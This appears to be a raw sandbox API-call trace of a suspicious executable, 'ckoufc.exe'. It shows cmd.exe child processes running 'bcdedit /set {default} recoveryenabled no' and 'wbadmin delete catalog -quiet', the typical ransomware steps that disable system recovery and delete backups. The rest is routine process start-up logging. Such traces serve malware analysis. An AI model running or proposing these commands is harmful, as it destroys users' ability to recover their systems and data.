lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} recoveryenabled no", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xb49f0ff3d8 | out: lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessInformation=0xb49f0ff3d8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x344, dwThreadId=0xf30)) returned 1 [0052.829] CloseHandle (hObject=0x98) returned 1 [0052.829] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0052.829] GetProcessHeap () returned 0x21a03df0000 [0052.829] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df9400) returned 1 [0052.829] GetEnvironmentStringsW () returned 0x21a03df9400* [0052.829] GetProcessHeap () returned 0x21a03df0000 [0052.829] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xb7e) returned 0x21a03df5ec0 [0052.829] FreeEnvironmentStringsA (penv="=") returned 1 [0052.830] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0054.453] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xb49f0ff358 | out: lpExitCode=0xb49f0ff358*=0x0) returned 1 [0054.453] CloseHandle (hObject=0x9c) returned 1 [0054.453] _vsnwprintf (in: _Buffer=0xb49f0ff528, _BufferCount=0x13, _Format="%08X", _ArgList=0xb49f0ff368 | out: _Buffer="00000000") returned 8 [0054.453] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0054.453] GetProcessHeap () returned 0x21a03df0000 [0054.453] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df5ec0) returned 1 [0054.453] GetEnvironmentStringsW () returned 0x21a03df8870* [0054.453] GetProcessHeap () returned 0x21a03df0000 [0054.453] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xba4) returned 0x21a03e09fe0 [0054.454] FreeEnvironmentStringsA (penv="=") returned 1 [0054.454] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0054.454] GetProcessHeap () returned 0x21a03df0000 [0054.454] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03e09fe0) returned 1 [0054.454] GetEnvironmentStringsW () returned 0x21a03df8870* [0054.454] GetProcessHeap () returned 0x21a03df0000 [0054.454] RtlAllocateHeap (HeapHandle=0x21a03df0000, Flags=0x8, Size=0xba4) returned 0x21a03e09fe0 [0054.455] FreeEnvironmentStringsA (penv="=") returned 1 [0054.455] GetProcessHeap () returned 0x21a03df0000 [0054.455] RtlFreeHeap (HeapHandle=0x21a03df0000, Flags=0x0, BaseAddress=0x21a03df8850) returned 1 [0054.455] DeleteProcThreadAttributeList (in: lpAttributeList=0xb49f0ff4e0 | out: lpAttributeList=0xb49f0ff4e0) [0054.455] ??_V@YAXPEAX@Z () returned 0x1 [0054.455] _get_osfhandle (_FileHandle=1) returned 0xc [0054.455] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0054.491] _get_osfhandle (_FileHandle=1) returned 0xc [0054.491] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0054.563] _get_osfhandle (_FileHandle=1) returned 0xc [0054.563] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0054.635] _get_osfhandle (_FileHandle=0) returned 0x8 [0054.635] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0054.725] _get_osfhandle (_FileHandle=0) returned 0x8 [0054.725] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0054.768] SetConsoleInputExeNameW () returned 0x1 [0054.769] GetConsoleOutputCP () returned 0x1b5 [0054.778] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0054.778] SetThreadUILanguage (LangId=0x0) returned 0x409 [0054.780] exit (_Code=0) Thread: id = 19 os_tid = 0xaec Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6c924000" os_pid = "0x654" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x47c" cmd_line = "/C wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0xa8c [0050.142] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7b8240000 [0050.142] __set_app_type (_Type=0x1) [0050.142] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7b8256d00) returned 0x0 [0050.142] __getmainargs (in: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210, _DoWildCard=0, _StartInfo=0x7ff7b827921c | out: _Argc=0x7ff7b8279200, _Argv=0x7ff7b8279208, _Env=0x7ff7b8279210) returned 0 [0050.142] _onexit (_Func=0x7ff7b8257fd0) returned 0x7ff7b8257fd0 [0050.142] _onexit (_Func=0x7ff7b8257fe0) returned 0x7ff7b8257fe0 [0050.142] _onexit (_Func=0x7ff7b8257ff0) returned 0x7ff7b8257ff0 [0050.142] _onexit (_Func=0x7ff7b8258000) returned 0x7ff7b8258000 [0050.142] _onexit (_Func=0x7ff7b8258010) returned 0x7ff7b8258010 [0050.143] _onexit (_Func=0x7ff7b8258020) returned 0x7ff7b8258020 [0050.143] GetCurrentThreadId () returned 0xa8c [0050.143] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa8c) returned 0x7c [0050.143] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0050.143] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0050.143] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.427] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0050.427] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2b7c8ffc18 | out: phkResult=0x2b7c8ffc18*=0x0) returned 0x2 [0050.427] VirtualQuery (in: lpAddress=0x2b7c8ffc04, lpBuffer=0x2b7c8ffb80, dwLength=0x30 | out: lpBuffer=0x2b7c8ffb80*(BaseAddress=0x2b7c8ff000, AllocationBase=0x2b7c800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.427] VirtualQuery (in: lpAddress=0x2b7c800000, lpBuffer=0x2b7c8ffb80, dwLength=0x30 | out: lpBuffer=0x2b7c8ffb80*(BaseAddress=0x2b7c800000, AllocationBase=0x2b7c800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.427] VirtualQuery (in: lpAddress=0x2b7c801000, lpBuffer=0x2b7c8ffb80, dwLength=0x30 | out: lpBuffer=0x2b7c8ffb80*(BaseAddress=0x2b7c801000, AllocationBase=0x2b7c800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.427] VirtualQuery (in: lpAddress=0x2b7c804000, lpBuffer=0x2b7c8ffb80, dwLength=0x30 | out: lpBuffer=0x2b7c8ffb80*(BaseAddress=0x2b7c804000, AllocationBase=0x2b7c800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.428] VirtualQuery (in: lpAddress=0x2b7c900000, lpBuffer=0x2b7c8ffb80, dwLength=0x30 | out: lpBuffer=0x2b7c8ffb80*(BaseAddress=0x2b7c900000, AllocationBase=0x2b7c900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0050.428] GetConsoleOutputCP () returned 0x1b5 [0050.672] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0050.672] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7b8268150, Add=1) returned 1 [0050.672] _get_osfhandle (_FileHandle=1) returned 0xc [0050.672] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc04 | out: lpMode=0x7ff7b827fc04) returned 1 [0050.811] _get_osfhandle (_FileHandle=0) returned 0x8 [0050.811] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc00 | out: lpMode=0x7ff7b827fc00) returned 1 [0050.891] _get_osfhandle (_FileHandle=1) returned 0xc [0050.891] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0051.045] _get_osfhandle (_FileHandle=1) returned 0xc [0051.045] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff7b827fc08 | out: lpMode=0x7ff7b827fc08) returned 1 [0051.133] _get_osfhandle (_FileHandle=1) returned 0xc [0051.133] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0051.174] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.174] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff7b827fc0c | out: lpMode=0x7ff7b827fc0c) returned 1 [0051.251] _get_osfhandle (_FileHandle=0) returned 0x8 [0051.251] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0051.436] GetEnvironmentStringsW () returned 0x18b11b75ae0* [0051.436] GetProcessHeap () returned 0x18b11b70000 [0051.436] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xb2e) returned 0x18b11b76620 [0051.437] FreeEnvironmentStringsA (penv="A") returned 1 [0051.437] GetProcessHeap () returned 0x18b11b70000 [0051.437] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x8) returned 0x18b11b75ae0 [0051.437] GetEnvironmentStringsW () returned 0x18b11b77160* [0051.437] GetProcessHeap () returned 0x18b11b70000 [0051.437] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xb2e) returned 0x18b11b77ca0 [0051.437] FreeEnvironmentStringsA (penv="A") returned 1 [0051.437] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2b7c8feac8 | out: phkResult=0x2b7c8feac8*=0x88) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x0, lpData=0x2b7c8feae0*=0x4, lpcbData=0x2b7c8feac4*=0x1000) returned 0x2 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x1, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x0, lpData=0x2b7c8feae0*=0x1, lpcbData=0x2b7c8feac4*=0x1000) returned 0x2 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x0, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x40, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x40, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x0, lpData=0x2b7c8feae0*=0x40, lpcbData=0x2b7c8feac4*=0x1000) returned 0x2 [0051.437] RegCloseKey (hKey=0x88) returned 0x0 [0051.437] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2b7c8feac8 | out: phkResult=0x2b7c8feac8*=0x88) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x0, lpData=0x2b7c8feae0*=0x40, lpcbData=0x2b7c8feac4*=0x1000) returned 0x2 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x1, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x0, lpData=0x2b7c8feae0*=0x1, lpcbData=0x2b7c8feac4*=0x1000) returned 0x2 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x0, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x9, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.437] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x4, lpData=0x2b7c8feae0*=0x9, lpcbData=0x2b7c8feac4*=0x4) returned 0x0 [0051.438] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2b7c8feac0, lpData=0x2b7c8feae0, lpcbData=0x2b7c8feac4*=0x1000 | out: lpType=0x2b7c8feac0*=0x0, lpData=0x2b7c8feae0*=0x9, lpcbData=0x2b7c8feac4*=0x1000) returned 0x2 [0051.438] RegCloseKey (hKey=0x88) returned 0x0 [0051.438] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce7051d [0051.438] srand (_Seed=0x5ce7051d) [0051.438] GetCommandLineW () returned="/C wbadmin delete catalog -quiet" [0051.438] malloc (_Size=0x4000) returned 0x18b11de55a0 [0051.438] GetCommandLineW () returned="/C wbadmin delete catalog -quiet" [0051.438] malloc (_Size=0xffce) returned 0x18b11c70080 [0051.438] ??_V@YAXPEAX@Z () returned 0x18b11c70080 [0051.439] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x18b11c70080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.439] malloc (_Size=0xffce) returned 0x18b11c80060 [0051.439] ??_V@YAXPEAX@Z () returned 0x18b11c80060 [0051.440] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18b11c80060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0051.440] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0051.440] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0051.440] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.440] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0051.440] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0051.440] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0051.440] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0051.440] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0051.440] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0051.440] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0051.440] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0051.440] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0051.440] GetProcessHeap () returned 0x18b11b70000 [0051.440] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b76620) returned 1 [0051.440] GetEnvironmentStringsW () returned 0x18b11b75b00* [0051.440] GetProcessHeap () returned 0x18b11b70000 [0051.440] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xb46) returned 0x18b11b76650 [0051.440] FreeEnvironmentStringsA (penv="A") returned 1 [0051.440] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0051.440] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7b827bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0051.440] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0051.440] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0051.441] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0051.441] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0051.441] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0051.441] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0051.441] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0051.441] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0051.441] malloc (_Size=0xffce) returned 0x18b11c90040 [0051.441] ??_V@YAXPEAX@Z () returned 0x18b11c90040 [0051.441] GetProcessHeap () returned 0x18b11b70000 [0051.441] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x40) returned 0x18b11b78810 [0051.441] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x18b11c90040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x18b11c90040, lpFilePart=0x2b7c8ff640 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x2b7c8ff640*="Desktop") returned 0x17 [0051.442] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.442] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2b7c8ff370 | out: lpFindFileData=0x2b7c8ff370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x18b11b78860 [0051.442] FindClose (in: hFindFile=0x18b11b78860 | out: hFindFile=0x18b11b78860) returned 1 [0051.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x2b7c8ff370 | out: lpFindFileData=0x2b7c8ff370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x18b11b78860 [0051.442] FindClose (in: hFindFile=0x18b11b78860 | out: hFindFile=0x18b11b78860) returned 1 [0051.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x2b7c8ff370 | out: lpFindFileData=0x2b7c8ff370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9a7d7a61, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9a7d7a61, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x18b11b78860 [0051.443] FindClose (in: hFindFile=0x18b11b78860 | out: hFindFile=0x18b11b78860) returned 1 [0051.443] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0051.443] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0051.443] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0051.443] GetProcessHeap () returned 0x18b11b70000 [0051.443] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b76650) returned 1 [0051.443] GetEnvironmentStringsW () returned 0x18b11b70fc0* [0051.443] GetProcessHeap () returned 0x18b11b70000 [0051.443] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0xb7e) returned 0x18b11b793f0 [0051.443] FreeEnvironmentStringsA (penv="=") returned 1 [0051.443] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x18b11c70080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0051.443] GetProcessHeap () returned 0x18b11b70000 [0051.443] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b78810) returned 1 [0051.443] ??_V@YAXPEAX@Z () returned 0x1 [0051.443] ??_V@YAXPEAX@Z () returned 0x1 [0051.443] GetProcessHeap () returned 0x18b11b70000 [0051.443] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x4016) returned 0x18b11b79f80 [0051.444] GetProcessHeap () returned 0x18b11b70000 [0051.444] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x50) returned 0x18b11b70fc0 [0051.444] GetProcessHeap () returned 0x18b11b70000 [0051.444] RtlFreeHeap (HeapHandle=0x18b11b70000, Flags=0x0, BaseAddress=0x18b11b79f80) returned 1 [0051.444] GetConsoleOutputCP () returned 0x1b5 [0051.625] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7b827fbb0 | out: lpCPInfo=0x7ff7b827fbb0) returned 1 [0051.625] GetUserDefaultLCID () returned 0x409 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7b827bb78, cchData=8 | out: lpLCData=":") returned 2 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2b7c8ffa00, cchData=128 | out: lpLCData="0") returned 2 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2b7c8ffa00, cchData=128 | out: lpLCData="0") returned 2 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2b7c8ffa00, cchData=128 | out: lpLCData="1") returned 2 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7b827bb68, cchData=8 | out: lpLCData="/") returned 2 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7b827bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7b827bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7b827ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7b827ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7b827ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7b827b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7b827b980, cchData=32 | out: lpLCData="Sun") returned 4 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7b827bb58, cchData=8 | out: lpLCData=".") returned 2 [0051.626] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7b827bb40, cchData=8 | out: lpLCData=",") returned 2 [0051.626] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0051.627] GetProcessHeap () returned 0x18b11b70000 [0051.627] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x0, Size=0x20c) returned 0x18b11b71090 [0051.627] GetConsoleTitleW (in: lpConsoleTitle=0x18b11b71090, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\ckoufc.exe") returned 0x23 [0051.693] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0051.693] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0051.693] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0051.693] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0051.693] ??_V@YAXPEAX@Z () returned 0x1 [0051.693] GetProcessHeap () returned 0x18b11b70000 [0051.693] RtlAllocateHeap (HeapHandle=0x18b11b70000, Flags=0x8, Size=0x4012) returned 0x18b11b79f80 [0051.693] GetProcessHeap () returned 0x18b11b70000 